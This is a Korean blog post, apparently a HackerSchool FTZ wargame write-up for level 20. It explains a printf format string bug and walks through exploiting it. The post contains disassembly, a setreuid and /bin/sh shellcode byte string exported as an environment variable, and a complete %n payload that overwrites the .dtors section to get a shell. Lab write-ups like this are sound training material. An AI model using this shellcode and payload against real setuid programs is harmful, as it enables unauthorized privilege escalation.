ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 20
    Wargame/HackerSchool FTZ 2019. 2. 14. 09:24

    → 힌트 정보는 아래와 같다.




    → fgets로부터 입력받을 수 있는 입력 값의 길이가 79자리로 제한되어 있으므로(bleh가 80바이트) BOF에 의해 RET를 덮어쓰는 것은 불가능하다. 따라서, BOF 문제는 아니다.


    → 하지만, printf(bleh); 에서 포맷스트링 버그를 확인할 수 있다.


    → 먼저, 포맷스트링 버그의 개념을 알아본다.


    int printf(

    const char *format [ ,argument]...

    );


    → 인자의 개수가 정해져있지 않고 넣는데로 인자가 전달되고, printf의 서식문자에 출력이 될 값이 인자로 추가로 붙어 활용된다. 그리고 문자열을 직접 인자로 전달하지않고, 문자열이 저장된 주소 값을 인자로 전달하는 특징이 있다.


    → 여기서, 문자열에 서식문자(%d,%n, ...)를 만나게되면 이를 문자열이 아닌 서식문자로 인식하게 되어, 다음 4바이트 메모리의 서식문자에 매핑하여 출력하는게 포맷 스트링버그의 핵심이다.


    → 간단하게 attackme 프로그램에 AAAA%x를 넣어본다.


    [level20@ftz level20]$ ./attackme

    AAAA

    AAAA

    [level20@ftz level20]$ ./attackme

    AAAA%x

    AAAA4f

    [level20@ftz level20]$


    → AAAA%x를 넣었을 때 %x를 서식문자로 인식하여, 다음 바이트를 %x에 맞게 출력한 것을 확인할 수 있다. 이제 이를 이용하여, Exploit을 진행해야 한다. 


    → 먼저, 코드를 새로 작성한 후 컴파일 진행 그리고 디버깅을 진행한다.


    [level20@ftz tmp]$ vi attackme.c

    [level20@ftz tmp]$ gcc attackme.c -o attackme

    [level20@ftz tmp]$ ls

    attackme  attackme.c

    [level20@ftz tmp]$ gdb -q attackme

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    0x080483b8 <main+0>:    push   ebp

    0x080483b9 <main+1>:    mov    ebp,esp

    0x080483bb <main+3>:    sub    esp,0x58

    0x080483be <main+6>:    and    esp,0xfffffff0

    0x080483c1 <main+9>:    mov    eax,0x0

    0x080483c6 <main+14>:    sub    esp,eax

    0x080483c8 <main+16>:    sub    esp,0x8

    0x080483cb <main+19>:    push   0xc1d

    0x080483d0 <main+24>:    push   0xc1d

    0x080483d5 <main+29>:    call   0x80482f8 <setreuid>

    0x080483da <main+34>:    add    esp,0x10

    0x080483dd <main+37>:    sub    esp,0x4

    0x080483e0 <main+40>:    push   ds:0x80495c0

    0x080483e6 <main+46>:    push   0x4f

    0x080483e8 <main+48>:    lea    eax,[ebp-88]

    0x080483eb <main+51>:    push   eax

    0x080483ec <main+52>:    call   0x80482c8 <fgets>

    0x080483f1 <main+57>:    add    esp,0x10

    0x080483f4 <main+60>:    sub    esp,0xc

    0x080483f7 <main+63>:    lea    eax,[ebp-88]

    0x080483fa <main+66>:    push   eax

    0x080483fb <main+67>:    call   0x80482e8 <printf>

    0x08048400 <main+72>:    add    esp,0x10

    0x08048403 <main+75>:    leave  

    0x08048404 <main+76>:    ret    

    0x08048405 <main+77>:    nop    

    0x08048406 <main+78>:    nop    

    0x08048407 <main+79>:    nop    

    End of assembler dump.

    (gdb)


    → 여기서 %n 서식문자를 이용하면 원하는 주소에 실행하고 싶은 쉘코드가 있는 주소를 덮어쓰는 것이 가능하다. %n 서식문자는 이전까지 출력된 문자의 개수를 변수에 저장하는 기능이다.(4바이트), (%hn은 2바이트)


    → 간단히 테스트 코딩을 진행해본다.



    → 위 코드를 보면 %n 서식문자 전에 스트링을 출력하게끔 해놓고, i 변수를 초기화하지 않았지만 i 변수를 출력을 시도해본다. %n에 의해서 앞에 출력된 문자열의 개수가 i 값에 출력될 것이다.


    [level20@ftz tmp]$ ./test

    12341f2f3f4f12asdf

    i : 18

    [level20@ftz tmp]$



    → 정확히 18개라고 출력된 것을 확인. 이를 이용하여 주소 값으로 덮어쓰면 메모리 변조가 가능하다.


    → 그리고 %n 을 인식하는 자릿수를 지정가능하다. %임의정수c로 %n이 인식하는 자릿수를 마음대로 정할 수 있다. 그런데, %임의정수c에도 %c라는 서식문자가 포함되어 있기때문에, 스택의 4바이트를 출력하게 된다. 따라서, %임의정수c에 의해서 출력될 4바이트도 입력해주어야 한다.


    → 여기까지 포맷스트링 취약점을 이용해 덮어쓰는 원리에 대해서 알았지만, 어떤 공간에 어떤 값을 써야하는지에 대한 문제를 해결해야 한다. 일단, 어떤 공간을 찾아보면 ret 주소인데, 사실 ret 주소를 찾을 수 없다. 


    → 그래서, .dtors 라는 것을 이용해야 하는데, elf 파일 포맷 구조에서 main 함수가 끝나고 실행이되는 명령이 있는 장소이다. 이것은 gcc 컴파일러로 컴파일한 경우에만 존재하는 공간으로, 보통 gcc 컴파일러를 많이 이용하므로 해당 공간이 존재한다.


    → .dtors 주소를 알아내기 위해서 objdump를 이용하여 주소 값을 구한다.


    [level20@ftz level20]$ objdump -h attackme

    attackme:     file format elf32-i386

    Sections:

    Idx Name          Size      VMA       LMA       File off  Algn

      0 .interp       00000013  080480f4  080480f4  000000f4  2**0

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      1 .note.ABI-tag 00000020  08048108  08048108  00000108  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      2 .hash         00000034  08048128  08048128  00000128  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      3 .dynsym       00000080  0804815c  0804815c  0000015c  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      4 .dynstr       00000061  080481dc  080481dc  000001dc  2**0

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      5 .gnu.version  00000010  0804823e  0804823e  0000023e  2**1

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      6 .gnu.version_r 00000020  08048250  08048250  00000250  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      7 .rel.dyn      00000010  08048270  08048270  00000270  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      8 .rel.plt      00000020  08048280  08048280  00000280  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

      9 .init         00000017  080482a0  080482a0  000002a0  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, CODE

    10 .plt          00000050  080482b8  080482b8  000002b8  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, CODE

    11 .text         00000188  08048308  08048308  00000308  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, CODE

    12 .fini         0000001b  08048490  08048490  00000490  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, CODE

    13 .rodata       00000008  080484ac  080484ac  000004ac  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

    14 .eh_frame     00000004  080484b4  080484b4  000004b4  2**2

                      CONTENTS, ALLOC, LOAD, READONLY, DATA

    15 .data         0000000c  080494b8  080494b8  000004b8  2**2

                      CONTENTS, ALLOC, LOAD, DATA

    16 .dynamic      000000c8  080494c4  080494c4  000004c4  2**2

                      CONTENTS, ALLOC, LOAD, DATA

    17 .ctors        00000008  0804958c  0804958c  0000058c  2**2

                      CONTENTS, ALLOC, LOAD, DATA

    18 .dtors        00000008  08049594  08049594  00000594  2**2

                      CONTENTS, ALLOC, LOAD, DATA

    19 .jcr          00000004  0804959c  0804959c  0000059c  2**2

                      CONTENTS, ALLOC, LOAD, DATA

    20 .got          00000020  080495a0  080495a0  000005a0  2**2

                      CONTENTS, ALLOC, LOAD, DATA

    21 .bss          00000008  080495c0  080495c0  000005c0  2**2

                      ALLOC

    22 .comment      00000132  00000000  00000000  000005c0  2**0

                      CONTENTS, READONLY

    23 .debug_aranges 00000078  00000000  00000000  000006f8  2**3

                      CONTENTS, READONLY, DEBUGGING

    24 .debug_pubnames 00000025  00000000  00000000  00000770  2**0

                      CONTENTS, READONLY, DEBUGGING

    25 .debug_info   00000a84  00000000  00000000  00000795  2**0

                      CONTENTS, READONLY, DEBUGGING

    26 .debug_abbrev 00000138  00000000  00000000  00001219  2**0

                      CONTENTS, READONLY, DEBUGGING

    27 .debug_line   0000027c  00000000  00000000  00001351  2**0

                      CONTENTS, READONLY, DEBUGGING

    28 .debug_frame  00000014  00000000  00000000  000015d0  2**2

                      CONTENTS, READONLY, DEBUGGING

    29 .debug_str    000006ba  00000000  00000000  000015e4  2**0

                      CONTENTS, READONLY, DEBUGGING


    → 여기서 VMA과 LMA 개념이 나오는데 생략한다. VMA(Virtual memory address), LMA(Load memory address)


    → 0x08049594 인데, + 4바이트인 것을 참조하므로 _4 한 주소에 쉘 코드 주소를 덮으면 된다.


    0x08049594 + 0x4 = 0x08049598


    → 에그쉘 주소 값을 구한다.


    [level19@ftz level19]$ export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


    #include <stdio.h>

    int main()

    {

            printf("addr: %p\n", getenv("SHELLCODE"));

            return 0;

    }


    [level20@ftz tmp]$ ./abc

    adddr: 0xbffffc1f


    → 이렇게 되면, 페이로드 구성이 가능하다.


    (python -c 'print "\x90\x90\x90\x90\x98\x95\x04\x08\x90\x90\x90\x90\x9a\x95\x04\x08%8x%8x%8x%64503c%n%50144c%n"';cat)|./attackme



    → \x90 4개를 붙히고, \x98\x95\x04\x08은 dtors의 주소이다. 다시 \x90 4개를 붙히고, \x9a\x95\x04\x08은 dtors주소의 +3한 값인데, 뒤에 \x8x가 3개인 것을 확인해서이다.


    → 마지막으로, %64503은 쉘코드 주소 fc1f에서 지금까지 출력된 문자수 40을 뺀 값이고, %50144는 쉘코드 주소 bffff에서 방금전의 fc1f을 뺀 값이다.



    'Wargame > HackerSchool FTZ' 카테고리의 다른 글

    lvl 19  (0) 2019.02.14
    lvl 18  (0) 2019.02.13
    lvl 17  (0) 2019.02.12
    lvl 16  (0) 2019.01.24
    lvl 15  (0) 2019.01.23

    댓글

Designed by Tistory.